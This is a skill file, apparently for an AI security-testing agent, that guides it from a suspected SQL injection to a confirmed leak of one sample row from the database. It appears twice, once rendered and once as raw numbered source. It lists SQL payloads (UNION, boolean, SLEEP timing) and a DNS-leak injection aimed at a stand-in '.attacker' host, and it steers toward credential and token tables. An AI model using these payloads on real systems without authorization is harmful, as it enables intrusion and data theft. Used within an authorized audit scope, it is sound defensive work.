SQLi → Data Exfiltration
You suspect SQL injection somewhere in the target. Your job is to turn that
suspicion into proof — a real exfil sample from the database — and persist
it as a finding with reproducible evidence. Speculation isn't a finding.
When this skill applies
Trigger this strategy when any of these is true:
- An HTTP record's response contains an SQL error fragment:
SQLITE_ERROR,
ORA-, MySQL syntax, PostgreSQL, unclosed quotation mark,
mismatched parenthesis, near "X": syntax error.
- A prior scan's record body has a
q=...', id=...', search=... payload
that triggered a 500 / different content-length / reflected error.
- A user-controlled parameter feeds into a
SELECT/WHERE/ORDER BY
context that the response body or scanner finding directly suggests.
- The audit harness produced a finding with CWE-89 / "SQL Injection" /
"blind SQLi" — even theoretical.
If you only have a generic "fuzz everything" task, stop and pick a record
first (query_records then inspect_record). Do not run this skill blind.
Workflow
1. Anchor on a record
Pick the strongest candidate via query_records filters (status: [500],
search: "SQL", has_params: true) and inspect_record to load its raw
request and the parsed insertion points. Note the insertion point name
and type (URL_PARAM, POST_BODY_PARAM, HEADER, JSON_PATH) — payload
encoding differs per type.
remember the chosen insertion point with a key like sqli-target so the
plan survives context churn.
2. Classify the injection
Run two probes with replay_request against the chosen insertion point:
- Quote test: send
' and ''. Compare baseline vs replay status,
length, body hash. If ' errors and '' succeeds → string context. If
both behave like baseline → numeric context or filtered.
- Boolean test: send
1' AND '1'='1 (or 1 AND 1=1 for numeric) and
1' AND '1'='2. Equal-vs-different responses prove an in-band boolean.
If neither yields a difference, fall through to the blind paths below.
3. Pull a payload set
Call attack_kit with class: "sqli" to get starter payloads. Don't fire
them all — read them and pick the ones that match the context (string vs
numeric, single-quote vs double-quote, MySQL vs SQLite vs Postgres
fingerprint from the error message).
4. Confirm with a verifiable oracle
Choose the cheapest oracle that actually proves execution, not behavior
difference:
- In-band: UNION SELECT a sentinel string into a column that gets
echoed. Look for the sentinel in the replay body. This is the only
oracle that proves data exfil end-to-end in one shot.
- Blind boolean: pair true/false branches against a 2-bit fact you
control (e.g.
IF(SUBSTRING(@@version,1,1)='5',sleep(0),null)).
- Blind time:
SLEEP(5) / pg_sleep(5) / randomblob(...) — only
use when nothing else differentiates. Confirm with at least 2 trials.
- Blind OAST:
oast_mint a canary, inject LOAD_FILE(...),
xp_dirtree, or pg_read_file('//' || (SELECT ...) || '.attacker')
to leak via DNS/HTTP. Poll with oast_poll until the callback shows up
(give it up to 60 seconds).
5. Enumerate then exfil
Once confirmed, walk the schema:
- Database version + name: leak via the chosen oracle.
- Table names:
information_schema.tables (MySQL/Postgres) or
sqlite_master (SQLite).
- Column names for the highest-value table: pick
users, accounts,
api_keys, tokens, sessions, secrets — not migrations.
- One real row: leak a single concrete value (a hashed password, an
email, an API key prefix). One row is sufficient — do not bulk-exfil.
Keep a remember note with the leaked sample (key: sqli-exfil-sample)
so the finding writer can include it as evidence.
6. Persist the finding
Call report_finding exactly once for this issue:
severity: critical if the leaked value is a credential, API key,
session token, or PII. high otherwise.
title: include the endpoint + parameter (e.g.
"SQLi in /rest/products/search q parameter leaks SQLite schema").
cwe_id: CWE-89.
description: 2-3 sentences — context, payload, leaked sample (mask
the sensitive part: admin@… not the full email).
- Include the exact mutated request line that produced the leak.
If the audit harness already produced a theoretical finding for the same
endpoint, call update_finding with status: triaged and reference the
new evidence in the description instead of double-reporting.
Pitfalls — read before sending
- Do not use destructive payloads (
DROP, DELETE, UPDATE) under any
circumstance. Use SELECT only.
- Time-based SLEEP confirms blind SQLi only if the application doesn't
also delay other requests (e.g. shared rate limiter). Run a baseline
with the same length payload but no sleep before claiming the oracle.
UNION requires matching column count. If the first UNION SELECT 1
errors with "different number of columns", iterate 1,2, 1,2,3 until
it goes through — then identify which slot reflects.
- If the response is JSON and the injection point is inside a quoted
field, your payload must escape the JSON before it escapes the SQL.
- Stored procedures (mssql
xp_cmdshell, postgres COPY FROM PROGRAM)
cross into RCE — that's a different skill (command-injection-rce).
Do not chain without explicit operator authorization in the scope.
Output expectations
- One
report_finding call per distinct SQLi (don't re-report per
parameter if the same handler is vulnerable on many).
- A
remember note with the canonical exfil sample so it survives
context loss.
- The plan item that triggered this skill marked
done via update_plan.
1---2name: sqli-to-data-exfil3description: Escalate a suspected or confirmed SQL injection into proof-level data exfiltration. Use when you spot an SQL error in a response, a record from a prior scan flagged a SQLi pattern, or boolean/time differentials indicate the payload reaches the query parser. Walks from probe → confirm → enumerate → exfil with payload-class-aware techniques (in-band, blind boolean, blind time, blind OAST) and ends by persisting a concrete finding with the leaked sample.4license: MIT5---67# SQLi → Data Exfiltration89You suspect SQL injection somewhere in the target. Your job is to turn that10suspicion into proof — a real exfil sample from the database — and persist11it as a finding with reproducible evidence. Speculation isn't a finding.1213## When this skill applies1415Trigger this strategy when any of these is true:1617- An HTTP record's response contains an SQL error fragment: `SQLITE_ERROR`,18 `ORA-`, `MySQL syntax`, `PostgreSQL`, `unclosed quotation mark`,19 `mismatched parenthesis`, `near "X": syntax error`.20- A prior scan's record body has a `q=...'`, `id=...'`, `search=...` payload21 that triggered a 500 / different content-length / reflected error.22- A user-controlled parameter feeds into a `SELECT`/`WHERE`/`ORDER BY`23 context that the response body or scanner finding directly suggests.24- The audit harness produced a finding with CWE-89 / "SQL Injection" /25 "blind SQLi" — even theoretical.2627If you only have a generic "fuzz everything" task, stop and pick a record28first (`query_records` then `inspect_record`). Do not run this skill blind.2930## Workflow3132### 1. Anchor on a record3334Pick the strongest candidate via `query_records` filters (`status: [500]`,35`search: "SQL"`, `has_params: true`) and `inspect_record` to load its raw36request and the parsed insertion points. Note the **insertion point name**37and **type** (URL_PARAM, POST_BODY_PARAM, HEADER, JSON_PATH) — payload38encoding differs per type.3940`remember` the chosen insertion point with a key like `sqli-target` so the41plan survives context churn.4243### 2. Classify the injection4445Run two probes with `replay_request` against the chosen insertion point:4647- **Quote test**: send `'` and `''`. Compare baseline vs replay status,48 length, body hash. If `'` errors and `''` succeeds → string context. If49 both behave like baseline → numeric context or filtered.50- **Boolean test**: send `1' AND '1'='1` (or `1 AND 1=1` for numeric) and51 `1' AND '1'='2`. Equal-vs-different responses prove an in-band boolean.5253If neither yields a difference, fall through to the blind paths below.5455### 3. Pull a payload set5657Call `attack_kit` with `class: "sqli"` to get starter payloads. Don't fire58them all — read them and pick the ones that match the context (string vs59numeric, single-quote vs double-quote, MySQL vs SQLite vs Postgres60fingerprint from the error message).6162### 4. Confirm with a verifiable oracle6364Choose the cheapest oracle that actually proves execution, not behavior65difference:6667- **In-band**: UNION SELECT a sentinel string into a column that gets68 echoed. Look for the sentinel in the replay body. **This is the only69 oracle that proves data exfil end-to-end in one shot.**70- **Blind boolean**: pair true/false branches against a 2-bit fact you71 control (e.g. `IF(SUBSTRING(@@version,1,1)='5',sleep(0),null)`).72- **Blind time**: `SLEEP(5)` / `pg_sleep(5)` / `randomblob(...)` — only73 use when nothing else differentiates. Confirm with at least 2 trials.74- **Blind OAST**: `oast_mint` a canary, inject `LOAD_FILE(...)`,75 `xp_dirtree`, or `pg_read_file('//' || (SELECT ...) || '.attacker')`76 to leak via DNS/HTTP. Poll with `oast_poll` until the callback shows up77 (give it up to 60 seconds).7879### 5. Enumerate then exfil8081Once confirmed, walk the schema:82831. Database version + name: leak via the chosen oracle.842. Table names: `information_schema.tables` (MySQL/Postgres) or85 `sqlite_master` (SQLite).863. Column names for the highest-value table: pick `users`, `accounts`,87 `api_keys`, `tokens`, `sessions`, `secrets` — not `migrations`.884. **One real row**: leak a single concrete value (a hashed password, an89 email, an API key prefix). One row is sufficient — do not bulk-exfil.9091Keep a `remember` note with the leaked sample (key: `sqli-exfil-sample`)92so the finding writer can include it as evidence.9394### 6. Persist the finding9596Call `report_finding` exactly once for this issue:9798- `severity`: `critical` if the leaked value is a credential, API key,99 session token, or PII. `high` otherwise.100- `title`: include the endpoint + parameter (e.g.101 `"SQLi in /rest/products/search q parameter leaks SQLite schema"`).102- `cwe_id`: `CWE-89`.103- `description`: 2-3 sentences — context, payload, leaked sample (mask104 the sensitive part: `admin@…` not the full email).105- Include the **exact mutated request line** that produced the leak.106107If the audit harness already produced a theoretical finding for the same108endpoint, call `update_finding` with `status: triaged` and reference the109new evidence in the description instead of double-reporting.110111## Pitfalls — read before sending112113- Do not use destructive payloads (`DROP`, `DELETE`, `UPDATE`) under any114 circumstance. Use `SELECT` only.115- Time-based SLEEP confirms blind SQLi *only* if the application doesn't116 also delay other requests (e.g. shared rate limiter). Run a baseline117 with the same length payload but no sleep before claiming the oracle.118- `UNION` requires matching column count. If the first `UNION SELECT 1`119 errors with "different number of columns", iterate `1,2`, `1,2,3` until120 it goes through — then identify which slot reflects.121- If the response is JSON and the injection point is inside a quoted122 field, your payload must escape the JSON before it escapes the SQL.123- Stored procedures (mssql `xp_cmdshell`, postgres `COPY FROM PROGRAM`)124 cross into RCE — that's a different skill (`command-injection-rce`).125 Do not chain without explicit operator authorization in the scope.126127## Output expectations128129- One `report_finding` call per distinct SQLi (don't re-report per130 parameter if the same handler is vulnerable on many).131- A `remember` note with the canonical exfil sample so it survives132 context loss.133- The plan item that triggered this skill marked `done` via `update_plan`.